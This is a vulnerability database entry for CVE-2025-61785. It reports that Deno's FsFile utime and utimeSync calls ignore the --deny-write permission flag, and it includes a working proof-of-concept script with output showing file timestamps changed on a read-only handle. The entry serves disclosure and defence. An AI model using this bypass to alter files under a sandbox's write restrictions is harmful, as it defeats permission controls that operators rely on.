Vulnerability Database

296,676

Total vulnerabilities in the database

CVE-2025-61785

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test.txt // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false}); const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utime)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false}); const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(`BEFORE (utimeSync)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utimeSync)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } // https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...

Impact

Permission model bypass

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWEs: